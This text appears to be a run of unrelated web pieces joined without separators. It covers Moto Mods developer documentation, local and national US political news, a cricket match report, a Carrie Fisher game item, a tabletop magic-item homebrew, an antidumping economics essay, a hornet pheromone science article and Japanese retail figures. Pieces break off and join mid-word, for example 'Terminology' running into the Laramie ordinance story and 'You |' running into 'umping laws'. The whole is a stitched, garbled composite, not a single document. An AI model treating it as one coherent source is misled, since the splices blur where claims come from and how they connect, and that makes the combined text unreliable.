At its foundation, the Moto Mods platform uses the Greybus open source protocol to abstract hot-pluggable device drivers into a Moto Mod. As a network layer, Greybus multiplexes and demultiplexes packets as they flow between the Moto Mod and Moto Z. It enables kernel drivers running on the Moto Mod to be treated as local by the Moto Z application processor.
In many cases, a Moto Mod will behave in a manner that is indistinguishable from a native hardware component on the Moto Z. For example, a Moto Mod speaker system will appear to Android just like any other integrated audio device, and participate in and follow the operating system’s standard audio-routing logic. The Moto Mod system and architecture achieves this by implementing many of the protocols that are native to the Android OS. This relieves the developer from having to write special-purpose Android kernel drivers, framework updates or a unique application to create a fully-functional and commercial-grade Moto Mod.
Conversely, Moto Mods that include custom sensors or USB devices will likely need their own Android application. Your application will link in the Android SDK, and will leverage the Raw protocol to exchange information between your Moto Mod and Moto Z application.
The power path supports the bi-directional flow of power, with the MuC mediating and controlling the flow of power.
Hardware Interfaces
Moto Mods can be created from a wide variety of interfaces. How you choose to combine them into your custom product is up to you. Table below shows overview of available interfaces and their capabilities.
Interface Capabilities Application I2C 1 Mbit/s Low bandwidth, low power SPI 15 Mbit/s Medium bandwidth, low power UART 10 Mbit/s Medium bandwidth, low power CSI 6MP raw10 @ 60fps 13MP raw10 @ 24fps Camera I2S 24-bit stereo @ 192kHz Audio MyDP Video: 4K @ 30fps Audio: 8 channels @ 192kHz Audio/Video USB2.0 480 Mbit/s USB Devices USB3.1 5 Gbit/s USB Host or Device GPIO General Purpose Input & Output Interrupts and peripheral control
Processor Architecture
The Moto Mods platform is built around dual implementations of the Greybus protocol stack, one running on the MuC on the Moto Mod and the other running on the AP on the Moto Z. In this design, the MuC acts as the central point of control, mirroring the role of the AP on the Moto Z.
MuC Responsibilities
The current MuC is a publicly available ARM7 based Cortex-M4F (including FPU) and supports a variety of flash and RAM sizes. Every Moto Mod developer will need to create unique firmware to control and manage their peripherals.
The MuC handles all attach/detach logic and power control between the Moto Z and Moto Mod. When attached to the Moto Z, the MuC communicates the hardware manifest, describing what Greybus protocols are available. All Greybus protocols terminate at the MuC, which provides the overall control for the Moto Mod. Since some protocols (I2S and USB, for example) can go over multiple pathways, the MuC also communicates the physical path being used, allowing the Moto Z to correctly configure its internal switches.
In many cases, your peripherals will be attached directly to the MuC via standard I2C, SPI, or UART interfaces. Standard GPIOs, analog to digital converters, timers and USB are also available for developers to use. The MuC communicates with these directly and handles translation to the appropriate Greybus protocol.
Moto High Speed Bridge Responsibilities
Moto provides the current implementation of the high speed bridge in a purpose built IC. The Moto High Speed Bridge is an optional component in the Moto Mod system architecture. It is available to developers who require a high speed interface. The Moto Bridge handles multiplexing and transmission of high-bandwidth interfaces, including CSI, I2S and HSIC in the most power efficient way.
When your project requires the Moto Bridge, one UART is used for an IPC with the MuC. This link is used by the MuC to set up and control the high speed data link using the Moto Mods High Speed IPC (MHB) protocol. MHB provides data structures and messaging that eliminates the need to customize the Moto Bridge firmware to work with your chosen peripheral.
TerminologyThe Laramie City Council gave initial approval to a proposed ordinance that would add employment and housing protections for gay and lesbian residents.
This comes after a heavily backed and well funded statewide LGBT anti-discrimination bill died in the state legislature this year.
The Laramie ordinance would ban discrimination based on sexual orientation and gender identity in employment, housing, and in public accommodations like bars and restaurants. It carries maximum penalties of up to six months in jail and a $750-dollar fine. Although Laramie is considered fairly progressive by Wyoming standards, ordinance supporters said that the city’s gay and lesbian residents still deal with discrimination.
Organizer Will Welch spoke to the council about an incident a few years ago, when two men dancing together in a local bar were forcibly ejected by the bouncer.
“Those gentlemen and their friends were shocked, and they left the establishment feeling very injured,” he said. This would not have happened if we had an [anti-discrimination] ordinance.”
Currently Jackson is the only Wyoming town with an LGBT anti-discrimination policy, and it only covers public employees.
The Laramie ordinance passed its first reading on an 8-1 vote. Only councilman Joe Vitale voted against it, citing concerns the measure would restrict Laramie residents’ religious freedoms.
There will be two more votes before a final decision is made.As one of the better fielders in Australia's side, Glenn Maxwell knows he needs to energise the team in the field © Getty Images
When asked what areas Australia needed to improve in order to level the Twenty20 series after their loss to Sri Lanka in Sydney, allrounder Glenn Maxwell's answer was revealing: batting, bowling and fielding. Despite the fact that Australia were in the contest until Thisara Perera struck a pair of sixes to get Sri Lanka home in the 19th over of their chase, they knew deep down that had been outplayed in all areas.
Batting first they scored a sub-par 137, of which David Warner made 90 - the highest percentage of a team's total ever scored by one player in a T20 international. They finished with seven wickets in hand, yet could not lift the tempo against Sri Lanka's outstanding bowling, managing only 36 runs from the last five overs. In the field, they missed opportunities. Their own death bowling was imprecise and too easy to score off.
"Very disappointing. We felt like we got outplayed in all three forms which is not a good thing," Maxwell said in Melbourne on Sunday as the Australians prepared for Monday night's second game. "We've got a lot of things to take out of the game and work on for Melbourne. Not a whole lot of positives came out of the night apart from Davey's innings."
That Matthew Wade and Maxwell at Nos. 6 and 7 were not required to bat, yet Australia were unable to post a winning total, was a concern. In his first match back in the national side in nearly a year, Shaun Marsh struggled for 6 from 17 balls, and Adam Voges was unbeaten on 25 from 29 at the end. Remarkably, not one of Australia's batsmen besides Warner hit a four, although the captain George Bailey did clear the boundary for one six.
In part, that was down to Sri Lanka's excellent bowling. Lasith Malinga confirmed why he is regarded by many opponents as the world's best T20 bowler and was hit for nothing worse than ones and twos all innings. Nuwan Kulasekara, Thisara Perera and Ajantha Mendis were all impressive as well. But Maxwell said the Australians had discussed after the match mixing things up more to throw the bowlers off, and if he faces Malinga in Melbourne he intends to use the depth of the crease to alter the bowler's length.
"We spoke about that we have to find a way to score, whether it be change up or take an educated risk," Maxwell said. "We had seven wickets in hand at the end. We just probably needed to take a few more risks at the end. I think we'll see some different techniques shown. There won't be the steady cricket that we probably showed last night.
"We were very good last night as far as hitting gaps and singles but that probably would have been more handy in the one-day team. In the T20 stuff we've just got to be ahead of the game, whether it be lap-shots, reverse-sweeps, backing away, charging, all those sorts of things we have to be up to date with that. We saw Dilshan's scoop last night, that put us on the back foot. That was an incredible shot. It was a calculated risk and he played it really well."
Not that the Australians built up the pressure on Sri Lanka's batsmen either. Maxwell put down a sharp chance in the third over when Kushal Perera cut hard to point and a couple of other half-chances later went begging, a run-out opportunity was missed when the ball was thrown to the wrong end, and generally there was a sloppiness not usually seen in Australian sides. Maxwell said as one of the sharper fielders in the side, he needed to lead by example.
"Myself and Dave Warner are probably the two leaders of that," he said. "We're at cover and point. We're running around a fair bit. We've got to be the energy and lifting the rest of the team as well. Me dropping the catch in the third over doesn't get us off to a good start and we've just got to lift. That's the main thing. The senior guys and the better fielders have to lift the rest of the group."
One of the most memorable pieces of fielding came from Ben Laughlin, who ran backward from point and completed a diving take to get rid of Tillakaratne Dilshan, but Laughlin might find himself dropped for the second game after a disappointing bowling effort. He leaked 46 runs from his 3.5 overs, including three sixes in his final two overs as the Sri Lankans completed the chase, and the selectors will be tempted to replace him with James Faulkner for the Melbourne match.
Brydon Coverdale is an assistant editor at ESPNcricinfo. He tweets here
© ESPN Sports Media Ltd.BY AMIT BARAN ROY | Carrie Fisher’s untimely death on Tuesday, 27th December had triggered a massive grief around the world, especially among Star Wars fans. She was aged 60 and had suffered a severe heart attack on December 23 London to LA flight. The iconic actress is popular in the pop society for her role of Princess Leia in Star Wars franchise. But she was hardly known for any association to video games except for her voice work in this year’s Lego Star Wars: The Force Awakens. The point of writing this article was the fact that she had a small role in the 2012’s Dishonored game which many Dishonored fans including me didn’t know.
Fisher had lent her voice in the ‘Return to the Tower’ mission of the game. Her voice was hidden as an Easter Egg- one can only get to hear her if he/she kills the male propaganda officer in Dunwall Tower during the mission. In remembrance of this short role in the game, Arkane Studios’ Co-Creative Director Harvey Smith took to stating that ‘Carrie Fisher was gracious, funny and creatively open’ when they worked with her for the small role in Dishonored.
It's a little thing, but Carrie Fisher was gracious, funny and creatively open when we worked with her for a small role in #Dishonored. RIP. — Harvey Smith (@Harvey1966) December 27, 2016
In other news, Elite Dangerous will be adding a Carrie Fisher memorial ‘Fisher’s Rest’ in the next 2.3 update release. This was confirmed by the game’s Executive Producer who responded in the after several requests from their fans. Elite Dangerous is known for such kind of memorials as in 2015, the developers added a Vulcan Planet and a ‘Leonard Nimoy Station’ in memory of the late Star Trek actor, Leonard Nimoy.Presidential candidate Donald Trump said Friday during a rally in Texas that he wants to “open up our libel laws so when [reporters] write purposely negative and horrible and false articles, we can sue them and win lots of money.” The GOP frontrunner suggested that when he becomes president, places like The New York Times and The Washington Post, “the most dishonest media outlets I’ve ever seen in my life,” will pay for their unfavorable coverage of his campaign. He continued, “I think the media is among the most dishonest groups of people I’ve ever met. They’re terrible.”
Once he’s able to rectify the issue of “horrible” media coverage, he said, “When The New York Times writes a hit piece, which is a total disgrace, or when The Washington Post, which is there for other reasons, writes a hit piece, we can sue them and win money instead of having no chance of winning because they’re totally protected.”
Such an overhaul of free-press laws would require serious alterations to the meaning of the First Amendment. But Trump didn’t mention that part, of course.COLUMBUS, Ohio -- The Ohio Supreme Court is considering whether an Akron judge be publicly reprimanded for her conduct following the arrest of a lawyer who practiced in her courtroom.
The Office of the Disciplinary Counsel recently made its arguments to the Ohio Supreme Court. The case is one of several heard recently by the Supreme Court. No immediate decision is expected. It can take weeks to months before opinions by the court’s justices are released.
The Supreme Court gave this synopsis:
The case involves Akron Municipal Judge Joy Malek Oldfield, who was in a car in February 2012 with public defender Catherine Loya following a party, according to the court. Copley Township police, seeing the car parked in a shopping center parking lot, approached and asked Loya to submit to a field sobriety test.
When Loya refused, she was arrested. She and Oldfield were taken to the police station, and afterward were returned to Oldfield’s home. At the suggestion of Oldfield’s husband, Loya remained in the home for the next several days.
Loya at the time was assigned to Oldfield’s courtroom and continued to practice there for the next few weeks until she was moved as part of a normal rotation to another courtroom.
The Board of Commissioners on Grievances & Discipline recommended that Oldfield be publicly reprimanded for not disqualifying herself cases in which Loya was the public defender after the incident occurred and while Loya was living at Oldfield’s residence.
But in its report, the board concluded that the Disciplinary Counsel's investigation did not find enough proof to support a claim that Oldfield had tried used her title to prevent Loya’s arrest and recommended that alleged violation be dismissed. The Disciplinary Counsel disagreed.
Attorneys for Oldfield, in their brief, acknowledge that Oldfield told police she was a judge, but that she did not do so until an officer asked her whether she was a lawyer. She felt compelled to respond honestly to the question.
They argue that one officer repeatedly and sarcastically referred to her as a judge and that because of his tone, Oldfield felt forced to state to him that she did not want any special treatment because of her position.
Northeast Ohio Media Group will periodically look at cases before the Supreme Court. All cases can be viewed through the online docket on the Supreme Court’s website.TRENTON -- The state Senate Labor Committee on Monday approved a bill that would gradually increase New Jersey's minimum wage to $15, the first vote on the way to a showdown with Gov. Chris Christie which is likely to end in a public referendum to sidestep his expected veto.
The lengthy legislative hearing pitted advocacy organizations, labor groups and workers hoping to lift up low-income employee wages against business and industry associations who warn the hike will force jobs cuts and price increases.
The $15 minimum wage has the backing of state Senate President Stephen Sweeney (D-Gloucester) and state Assembly Speaker Vincent Prieto (D-Hudson) who at separate news conferences Monday said working New Jerseyans deserve a livable wage.
The proposed update would increase New Jersey's $8.38 minimum wage by 80 percent. The measure is the product of a deal Sweeney and Prieto reached in February to raise wages. Prieto wanted a new law that would raise the wage all at once, while Sweeney proposed a public referendum to raise wages $1 at a time.
Striking Verizon workers could get unemployment
Under the bill (S15), the minimum wage would hit $10.10 on Jan. 1, 2017, and then by at least $1.25 an hour until 2021. After 2021, annual increases will be tied to changes in the consumer price index.
Prieto said Monday that he would "love it to be $15 today," but the yearly steps will give businesses time to adjust.
The committee approved it 3-1.
The Democratic leaders say they expect Christie will veto the bill, in which case they will attempt to place the wage hike on the 2017 general election ballot when voters select a new governor.
New Jersey's minimum wage is already controlled by the state Constitution. Democrats went that route after Christie in 2013 vetoed a minimum wage bill that he said would hurt the economy. Voters agreed to amend the state constitution to increase the minimum wage by $1 to $8.25 an hour and then adjust annually based on the Consumer Price Index. Wages rose 13 cents in January 2015 and did not increase in 2016.
Sweeney said it's clear now that amendment didn't go far enough.
"It wasn't enough money," he said. "We recognize now that we need to go much further."
The annual take-home pay for a full-time worker earning the minimum wage in New Jersey is about $17,430. The United Way of Northern New Jersey has estimated a single adult in New Jersey would need to earn $13.78 an hour to meet his or her basic needs, and $19.73 per hour for "better food and shelter, plus modest savings."
New Jersey Policy Perspective, a left-leaning Trenton think tank, has estimated 975,000 people would benefit from the wage hike. Of those, 91 percent are older than 20 years old, 61 percent are full-time workers and 28 percent have children.
But the cost to businesses is much greater than $15 an hour, Michael Egenton, vice president for government relations at the state Chamber of Commerce, told the Senate committee. Combined with unemployment insurance, worker's compensation and other costs, the real bill is $23 an hour, he said.
Punctuating the chamber's point, LeTorre Hardware owner Victor LaTorre said "at $15 an hour, I'm not sure my business could survive."
The answer isn't to artificially raise the minimum wage to a level the state can't support, argued Michele Siekerka, president of the Business and Industry Association.
"You come in at one wage, you build your skills, you get increases and you rise up the corporate ladder. That's the American dream," she said.
On the other side, certified nursing home assistant Ella Moton said that on $11.59 an hour she isn't able to afford to take her clothes to the laundromat and can't always afford to keep the lights on. The bump in pay, she said, would ease her worries and "drastically" improve her life.
Phyllis Salowe-Kaye, executive director of New Jersey Citizen Action, called the legislation an opportunity for New Jersey to become a leader in the national movement toward higher wages.
"Our economic system should reward hard work with something other than poverty," she said.
Samantha Marcus may be reached at smarcus@njadvancemedia.com. Follow her on Twitter @samanthamarcus. Find NJ.com Politics on Facebook.Hey everyone,
I know this may be a last minute notice, but I actually just received the email myself a few hours ago so hopefully most of you see this or received Bladehq's email in time for the drop tomorrrow. Please see the information below for the first Squid Industries batch on Bladehq.com!
Upcoming Batch
Please review the following information in regards to this week's drop of trainers. Location: https://www.bladehq.com/cat--Squid-Industries-Butterfly--2921
Release date and time: Thursday, October 19h, 10:00am MDT
Models Available: 50 Silver Squidtrainer V2*
50 Blue Squidtrainer V2* Pricing: $150 Silver, $175 Blue
Payment forms accepted: Credit, Debit, Prepaid Visa
Shipping: United States, Some International ( See their shipping page )
Limit 2 total units per household**
* The quantities I listed above are the quantities that are currently in-stock with Bladehq, however, I am uncertain if they will release those exact quantities tomorrow.
**Bladehq hasn't said explicitly yet if this sale is limited to two per household, but I predict that it will be.
If you are unsure about what time is 10:00am MDT is in your region, click this link and enter your region.
After this batch, I'll have more Tritons and Squidtrainers available on my website in hopefully 2-3 weeks. Also, I recently got around to recording another tutorial on my youtube channel so check it out!Astral Apparatus
Astral apparatuses combine several minor magical items to form a more complex system.
Base items house triggers and sockets connected in circuits with special filament that is capable of transferring magical energy. In order to form a usable astral apparatus the sockets must be populated with runic turbines and power sources.
Schematics, rather than formula, are required to craft any base item or component.
New Magical Items
ARC Cluster
Wondrous item, varies
An ARC (Alchemical Ruby Crystalline lattice) cluster holds altered rubies in an alchemical bath within a glass and metal enclosure. This structure is able to store magical energy for use by astral apparatuses.
ARC clusters are created with no charges and must be charged before they can be used. Each day of downtime spent charging an ARC cluster costs 25gp and restores up to 3 charges. Excess charges beyond the capacity of the cluster are lost. There is no risk of overloading a cluster charged in this manner.
A fully charged ARC cluster glows with silvery light; as the cluster’s energy is depleted the light fades away. Someone familiar with clusters can tell roughly how charged a cluster is at a glance.
While using a portable ARC charger to recharge a cluster it may become overloaded. Damaged or overloaded clusters are destroyed releasing their energy in a violent explosion dealing 1d4 damage of force damage per remaining charge.
ARC Cluster Energy Capacity
Energy Rarity 15 Common 30 Uncommon 60 Rare 120 Very Rare
Astral Apparatus Base Item
Wondrous item, varies
This item contains sockets and triggers connected into one or more circuits. Power source sockets and runic turbine sockets are not interchangeable. An item must have at least one of each type of socket.
Components attached to a base item may be reconfigured during a short or long rest. Reconfiguring the item takes about half an hour of effort.
The number of sockets determines the rarity of the base item: 2 (common), 3 (uncommon), 4 (rare), 5 (very rare), or 6 (legendary).
Portable ARC Charger
Wondrous item, rare
Portable ARC Chargers allow you to rapidly recharge ARC clusters without spending money on materials. Each round a caster may expand a spell slot to recharge an attached ARC cluster at a 3 spell levels per charge ratio.
A DC 15 WIS saving throw is required to stop charging. If the saving throw fails then the portable ARC charger continues to pull energy from the caster starting with the highest available spell slot first.
If the attached ARC cluster is charged enough to exceed its maximum energy capacity then it overloads and explodes.
Runic Turbine
Wondrous item, varies
Runic turbines are tiny (about quarter sized but thicker) turbines with magical runes engraved on their blades. When activated they turn rapidly and emit blue light (visually like Cherenkov radiation) while manifesting the magical effects of the spell they were engraved with. Runic turbines are able to maintain concentration on spells that require it (note: this alters PHB pg.141 rules around magical items that cast a spell & concentration; activating the item still takes an action).
Casting spells from a runic turbine requires a number of charges based on the level of the spell it is engraved with. To determine these costs refer to the “Spell Point Cost” table (DMG Pg. 288) with the following exception: if the spell targets a weapon or armor and has a duration of "up to 1 hour" or longer then fueling the turbine once will keep the spell going for 24 hours.
The rarity of a runic turbine is determined by the spell level per the “Magic Item Power by Rarity” chart (DMG pg. 285). Runic turbines can be fashioned to cast a spell at any level the spell can be cast at although the rarity and energy cost to cast the spell is linked to the spell level chosen during creation.
Schematic
Wondrous item, varies
Schematics are reusable and describe how to fashion a base item or astral apparatus component. The rarity of the schematic is one higher than the rarity of item it produces. You do not require a formula to craft a schematic.
New Spells
Magic Armor
4th-level transmutation
Casting Time: 1 bonus action
1 bonus action Range: Touch
Touch Components: V, S
V, S Duration: Concentration, up to 1 hour
You |
umping laws. And here the application of these principles is one-sided. It is recognised (and likely overemphasised) that there can be anti-competitive effects when a foreign firm uses low prices to eliminate competitors; i.e., predatory pricing practices. However, it is clear that the actual implementation of antidumping laws applies remedies for a whole range of pricing behaviours that any competition agency would find perfectly consistent with a competitive marketplace (for example, see “Why we need antidumping reforms”).1 Indeed, the danger of antidumping remedies is that they could actually promote anti-competitive effects by helping firms collude (actively or tacitly) to achieve joint monopoly/cartel prices and profits. Most directly, this can be seen in the case of “undertakings,” whereby government agencies coordinate arrangements with foreign firms (and in consultation with domestic firms) to keep the foreign firms’ prices at predictably high levels in lieu of antidumping duties! Even a quick scan of an introductory industrial organisation text would suggest to you that this could be quite an effective mechanism for firms to coordinate tacit collusion.
Trade policy and market power in theory…
Though largely ignored in public discussions of trade policy, economists have been reasonably good at showing theoretically how various trade policies may affect market power. In general, the theoretical literature finds large market power effects from quantitative restrictions and none with tariff-based import protection.2 There is also a literature indicating that antidumping measures can raise firms’ market power for similar reasons as quantitative restrictions; namely, that such policies can allow firms to tacitly coordinate higher prices to their benefit, but to the detriment of consumers and overall welfare (for example, see Prusa 1992).
Why does the issue of market power rarely enter public discussion of trade policies? There are a number of possible explanations, but let’s discuss two where at least some of the responsibility can be placed on the economics profession. First, economists have simply not laid out these arguments very often. For example, the standard models used to illustrate trade policies in today’s typical undergraduate textbook assume perfect competition. In such a setting, import protection increases employment in the protected sector, as well as infra-marginal rents of producers, but does not lead to market power for firms by assumption. Economists need to do a better job in presenting the conceptual reasons for why trade protection programs can raise market power and lead to the same sort of welfare losses that arise in more familiar cases where monopoly power leads to undesirable outcomes.
The second explanation is that the economics profession has not provided any empirical evidence for these market power effects. These effects may exist in theory under the right sets of assumptions, but do these effects really occur?
… and in practice
Empirical evidence on this issue is beginning to emerge, and the results of a couple of recent studies suggest that we ignore the potential anti-competitive effects of trade policies at our peril. In a recent paper I co-authored with Benjamin Liebman and Wesley Wilson, we undertake a systematic investigation of the market power effects of the wide variety of trade protection programs afforded to the U.S. steel industry over the last three decades (Blonigen, Liebman, and Wilson, 2007). The U.S. steel industry has been the main industrial sector receiving trade protection during this time period, accounting for more than a third of all antidumping and countervailing duty cases, as well as enjoying periods with quantitative restrictions and safeguard remedies on imports. Our statistical results are strongly consistent with the theoretical literature described in footnote 1 in that we find large market power effects from quantitative restrictions and none with tariff-based import protection. In fact, our estimates cannot reject the hypothesis that the U.S. steel industry was able to perfectly collude during the main quota period in the late 1980s.
Surprisingly, our estimates find no market power effects from antidumping protection in the US steel industry, which the theoretical literature suggests could be significant. These results contrast with recent evidence from Jozef Konings and Hylke Vandenbussche (2005) that antidumping duties in the European Union did raise market power significantly for many domestic firms that received antidumping duties against their import rivals. However, Konings and Vandenbussche note that market power effects are much lower or even nonexistent for products where antidumping protection leads to significant import diversion – market share gets diverted to import sources not targeted by the antidumping protection, rather than the domestic firms. The is a likely explanation for our finding of little market power effects for U.S. steel antidumping cases, as Prusa (1997) found significant trade diversion in U.S. antidumping cases.
Conclusions
What does this all mean in light of trade policy developments over the past decade? There is both good news and bad news. The good news is that the Uruguay Round made substantial progress in eliminating quantitative restrictions, which theory and empirics suggest are by far the most harmful trade policies in terms of raising market power. The bad news is that antidumping measures are acceptable under WTO agreements and have proliferated across member countries substantially in the past decade. While the initial evidence on market power effects of antidumping measures is mixed, the theory is clear in suggesting many ways in which such protection can raise market power.
While there may be political reasons to keep trade measures such as antidumping in place, as a profession, economics needs to continue to bring more evidence to bear about the market power effects of these programs. At the same time, we need to also continue to press policymakers more about the need for competition laws to apply equally to domestic and foreign firms. If policymakers can see the logic of having national treatment laws with respect to things such as tax policies towards firms in a market, then perhaps they can also be engaged to think about national treatment with respect to application of competition laws. As it stands, antidumping policies are a completely different (and wrongheaded) set of competition laws applied only to foreign firms exporting to a market.
References
Bhagwati, Jagdish N. (1965). “On the Equivalence of Tariffs and Quotas,” in R.E. Baldwin et al., eds., Trade, Growth and the Balance of Payments: Essays in Honor of Gottfried Haberler, Amsterdam: North-Holland.
Blonigen, Bruce A., Benjamin H. Liebman, and Wesley W. Wilson (2007). “Trade Policy and Market Power: The Case of the US Steel Industry,” NBER Working Paper No. 13671.
Konings, Jozef, Hylke Vandenbussche, and Linda Springael (2001). “Import Diversion Under European Antidumping Policy,” Journal of Industry, Competition and Trade, Vol. 1(3): 283-299.
Konings, Jozef, and Hylke Vandenbussche (2005). “Antidumping Protection and Markups of Domestic Firms,” Journal of International Economics, Vol. 65(1): 151-65.
Krishna, Kala. (1989). “Trade Restrictions as Facilitating Practices,” Journal of International Economics. Vol. 26: 251-270.
Prusa, Thomas J. (1992). “Why Are So Many Antidumping Petitions Withdrawn?” Journal of International Economics. Vol. 33: 1-20.
Prusa, Thomas J. (1997). “The Trade Effects of US Antidumping Actions," in Robert C. Feenstra, ed., Effects of US Trade Protection and Promotion Policies, NBER Project Report Series. Chicago,IL: University of Chicago Press.
Footnotes
1 Hylke Vandenbussche and Maurizio Zanardi, “Antidumping in the EU: the time of missed opportunities,” VoxEU, 8 February 2008.
2 Perhaps the first formal treatment dates back to Bhagwati (1965), who showed that a binding quota would allow a domestic monopolist to continue to wield market power in the face of lower international prices, whereas a standard import tariff would drive the domestic monopolist price to the competitive international price (plus tariff). Game theoretic analysis of oligopoly games also indicate that quantitative restrictions on imports allowed firms to increase market power, while import tariffs do not change existing market power (for example, see Krishna 1989).Fox & Friends hosts Steve Doocy, Elisabeth Hasselbeck and Brian Kilmeade (screen grab)
Fox News host Brian Kilmeade suggested on Monday that beach officials should be “clearing the waters” of sharks to prevent the predators from coming in contact with humans.
Over the weekend, surfer Mick Fanning was caught on video being attacked by what appeared to be a great white shark at the 2015 J-Bay Open in South Africa. The attack comes after a number of other beach goers were injured by sharks this summer in the United States.
“I think that the most shocking thing is that after you hear about the six attacks in North Carolina, okay, these are just swimmers,” Kilmeade noted on Monday’s edition of Fox & Friends. “But then when you see a champion surfer and you have a three camera shoot and an overhead shot, [you] say, ‘Oh my goodness, it could happen anywhere.'”
“You would think that they would have a way of clearing the waters before a competition of this level,” he opined. “But I guess they don’t.”
“Sure,” co-host Elisabeth Hasselbeck agreed. “If a three-time world champion surfer isn’t safe, who is?”
“The shark should be afraid of him,” she added. “That was a tough punch he gave there.”
George Burgess of the Florida Program for Shark Research recently explained to the New York Post that shark attacks were being cause by too many humans, not too many sharks.
“We’re basically flooding them out of their own home. It’s a function of how many people we’ve got,” Burgess pointed out. “You get this unholy mix of bait fish, sharks and humans together. When you have that, you’re going to have some bites.”
Watch the video below from Fox News, broadcast July 20, 2015.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
As has been the case for the past 18 years, an eclectic mix of personalities is expected to participate in the alternative memorial ceremony for Holocaust victims.
The ceremony will examine the ways in which the memory of the Holocaust impacts contemporary Israeli society.
Among those scheduled to participate is Zionist Union MK Zouheir Bahloul. A former media commentator, Bahloul is expected to discuss the recent proliferation of nationalist legislation that critics say represents a slippery slope which will ultimately endanger the democratic character of the state.“I chose to participate in this important event because I believe that we must remind people of what happened [in Europe]. We are talking about one of the major low points in the history of humanity. It was a period in which hatred and insanity triumphed over morality and compassion. We must also remind ourselves of the need to live by universal values of unconditional love and respect for people irrespective of whether they comprise the majority or the minority.”“Whenever one deals with such a charged issue like this one, extra attention must be paid to the words that are used. I, of course, am not of the opinion that there is an event in the history of humankind that compares to the horrific Holocaust that took place on European soil.”“We are talking about an event that was so destructive and which rested on hatred of an entire nation solely for who they were. Those were terrible days in which racism reached monstrous proportions that eventually manifested in the annihilation of six million Jews and the deaths of 60 million overall during the Second World War.”“I don’t regret what I said. I said it with the knowledge [that it would provoke a reaction] and with the intent of igniting a discussion in Israel, which remains imprisoned by antiquated, uncompromising preconceptions. I didn’t justify the murder of anyone, God forbid, but I wanted to show the public another narrative.”“If we seek peace, we must try and see the other side and its desperation. It was apparently that my comments seeped into the public consciousness and got people talking, with all kinds of views expressed. I hope that because of my statement, the political map will be further cleared up, and we, the center-left camp, will return to the path of dialogue and not capitulate to the desperation that is being imposed on us by the right.”
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>Critter Chemistry
September 15, 2003 Volume 81, Number 37
Gee, Your Hair Smells Dangerous
Volatile fragrance chemicals may attract unwanted attention from hornets and bees
Melody Voith
Day-trippers who plan to visit the mountains of Japan should be careful when primping and packing their picnic baskets, according to the latest research. The chemical signal that hornets use to identify and attack invaders can also be found in certain food flavorings and fragrances [Nature, 424, 637 (2003)].
SMELL THE ALARM! Giant hornets rush toward filter paper impregnated with 2-pentanol, 3-methyl-1-butanol, and 1-methylbutyl 3-methylbutanoate, the components of hornet alarm pheromone. ©NATURE
Hornets can be more than a meal-ruining pest: 30 to 40 Japanese die each year after being stung by Hymenopteran insects (hornets, bees, and wasps). The number of fatalities varies; in 1984, there were 73 victims. Japan has more species of Hymenoptera than the U.S. or any European country. In the U.S., wasps and bees cause between 30 and 120 deaths each year.
Masato Ono, professor of insect technology at Tamagawa University, and his team have identified substances that comprise a volatile alarm pheromone in the venom of the world's largest hornet, Vespa mandarinia. The Japanese hornets, which range in length from 27 to 55 mm, secrete the pheromone to identify nest invaders and to mark prey such as honeybees. The presence of this pheromone spurs an attack on the invader or prey by a large group of nest-mates.
Ono's earlier research [Nature, 377, 334 (1995)] examined the complex chemical arms race that has evolved between the giant hornet and its prey species, the Japanese honeybee Apis cerana. Observations and experiments have shown that the hornets' intended victims can interpret the chemical signal and have developed an unusual defense.
When a foraging giant hornet locates a honeybee nest, it hunts individual bees and leaves the pheromone marker behind so nest-mates can find the nest and attack. But like a baseball team that has decoded the other team's batting signs, the honeybees have learned to recognize the signal and take a defensive posture. Worker bees lie in wait, and when a hornet enters the nest, they engulf it in a ball of over 500 bees, raising the temperature to 47 °C, which is lethal to the hornet, but not to the bees.
To find out the ingredients of the powerful attack pheromone, Ono used solid-phase micro-extraction (SPME) to capture volatile components from the venom sacs of three V. mandarinia hornets. He analyzed the compounds by gas chromatography/mass spectrometry, identifying three biologically active chemicals: 2-pentanol, 3-methyl-1-butanol, and 1-methylbutyl 3-methylbutanoate.
Field tests with 2-pentanol triggered mild alarm and defensive behavior among hornets when placed near a nest, but adding 3-methyl-1-butanol and 1-methylbutyl 3-methylbutanoate created a synergistic effect on the hornet reactions. "This kind of multiple-component alarm pheromone had not yet been seen in our research," Ono says. Commercial products such as banana and apple flavorings containing C 5 alcohols and C 10 esters also elicit defense reactions.
The extreme volatility of the alarm chemicals makes them ideal for raising an alarm because the short duration of the signal may allow the hornet colony to return to normal behavior after the threat has passed. Unfortunately, this volatility also makes the compounds useful in the flavors and fragrances industry.
Entomology professor Richard D. Fell of Virginia Polytechnic Institute & State University, Blacksburg, has seen similar chemical make-ups of alarm pheromones in bees, wasps, and ants. "The combinations of the small molecules tend to be species-specific," he says. Usually, it's not just one chemical acting alone, but rather several acting in concert that triggers insect behavior.
Serious incidents of hornet attacks occur only around nesting sites. Two or three hornets may investigate a person who ventures too close. If instead of backing away from the area, which would be the wisest course, the interloper waves at or hits the hornets, they will spray venom containing the volatile alarm pheromone, summoning many more hornets to defend the nest. Unfortunately for the dark-haired Japanese, the hornets are especially aggressive toward the color black, causing victims to be stung many times on the head.
According to Fell, "There are two things that the pheromones trigger--an attraction phase, which draws the insects to a location, and an attack phase." He says it would be hard to tell whether hornets attracted to artificial fragrances would actually sting someone wearing them if the insects were not otherwise threatened.
In his latest Nature paper, Ono suggests that the presence of the volatile compounds might provoke normally peaceful hornets to attack anyone who happens to get too close to a nest. He also suggests that it may make sense to screen products for pheromones that might draw the ire of dangerous insects.
In the meantime, Fell cautions that because many Hymenoptera species--including the often aggressive yellow jacket--use alarm pheromones, outdoors people should think twice before applying products containing fragrances. He warns, "If you don't want to attract hornets and bees, don't try to smell like a flower."TOKYO -- Judging solely from recent earnings announcements by major Japanese retailers, one might think the country's consumption picture is brightening. A closer look reveals that the picture is skewed.
The aggregate pretax profit of listed retailers climbed 10% in the fiscal year through February, when most of them close their books. Yet real spending by households with two or more family members was down for the sixth straight month in February, adjusting for the leap year, according to the Ministry of Internal Affairs and Communications.
This divergence can be chalked up, in part, to the influx of foreign tourists to Japan. The visitor count hit an all-time high of nearly 20 million last year, up about 50%, according to the Japan Tourism Agency.
